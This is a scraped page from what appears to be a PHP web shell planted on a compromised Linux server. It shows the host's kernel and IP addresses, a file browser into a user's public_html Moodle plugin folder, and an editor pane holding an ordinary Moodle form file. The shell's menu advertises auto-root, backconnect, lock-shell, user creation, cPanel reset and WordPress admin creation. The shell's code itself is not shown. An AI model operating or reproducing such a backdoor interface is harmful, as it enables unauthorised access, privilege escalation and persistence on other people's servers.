Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.131.102
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
youtubewpt /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
LICENSE.md
34.35
KB
-rw-r--r--
README.md
1.52
KB
-rw-r--r--
index.php
3.18
KB
-rw-r--r--
lib.php
5.97
KB
-rw-r--r--
mod_form.php
4.25
KB
-rw-r--r--
version.php
1.11
KB
-rw-r--r--
view.php
2.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_form.php
<?php // This file is part of Moodle - https://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <https://www.gnu.org/licenses/>. /** * The main mod_youtubewpt configuration form. * * @package mod_youtubewpt * @copyright 2022 Willian Mano <willianmanoaraujo@gmail.com> * @license https://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot.'/course/moodleform_mod.php'); /** * Module instance settings form. * * @package mod_youtubewpt * @copyright 2022 Willian Mano <willianmanoaraujo@gmail.com> * @license https://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_youtubewpt_mod_form extends moodleform_mod { /** * Defines forms elements */ public function definition() { global $CFG; $mform = $this->_form; // Adding the "general" fieldset, where all the common settings are shown. $mform->addElement('header', 'general', get_string('general', 'form')); // Adding the standard "name" field. $mform->addElement('text', 'name', get_string('name'), array('size' => '64')); if (!empty($CFG->formatstringstriptags)) { $mform->setType('name', PARAM_TEXT); } else { $mform->setType('name', PARAM_CLEANHTML); } $mform->addRule('name', null, 'required', null, 'client'); $mform->addRule('name', get_string('maximumchars', '', 255), 'maxlength', 255, 'client'); // Adding the standard "intro" and "introformat" fields. if ($CFG->branch >= 29) { $this->standard_intro_elements(); } else { $this->add_intro_editor(); } $mform->addElement('text', 'videoid', get_string('videoid', 'mod_youtubewpt'), array('size' => '64')); $mform->setType('videoid', PARAM_TEXT); $mform->addRule('videoid', null, 'required', null, 'client'); // Add standard elements. $this->standard_coursemodule_elements(); // Add standard buttons. $this->add_action_buttons(); } /** * Allows module to modify the data returned by form get_data(). * This method is also called in the bulk activity completion form. * * Only available on moodleform_mod. * * @param stdClass $data the form data to be modified. */ public function data_postprocessing($data) { parent::data_postprocessing($data); if (!empty($data->completionunlocked)) { // Turn off completion settings if the checkboxes aren't ticked. $autocompletion = !empty($data->completion) && $data->completion == COMPLETION_TRACKING_AUTOMATIC; if (!$autocompletion || empty($data->completionprogress)) { $data->completionprogress = null; } } } /** * Add elements for setting the custom completion rules. * * @category completion * @return array List of added element names, or names of wrapping group elements. */ public function add_completion_rules() { $mform = $this->_form; $options = []; for ($i = 10; $i <= 100; $i+= 10) { $options[$i] = $i . '%'; } $mform->addElement('select', 'completionprogress', get_string('completionprogress', 'mod_youtubewpt'), $options); return ['completionprogress']; } /** * Called during validation to see whether some module-specific completion rules are selected. * * @param array $data Input data not yet validated. * @return bool True if one or more rules is enabled, false if none are. */ public function completion_rule_enabled($data) { return !empty($data['completionprogress']); } }
Close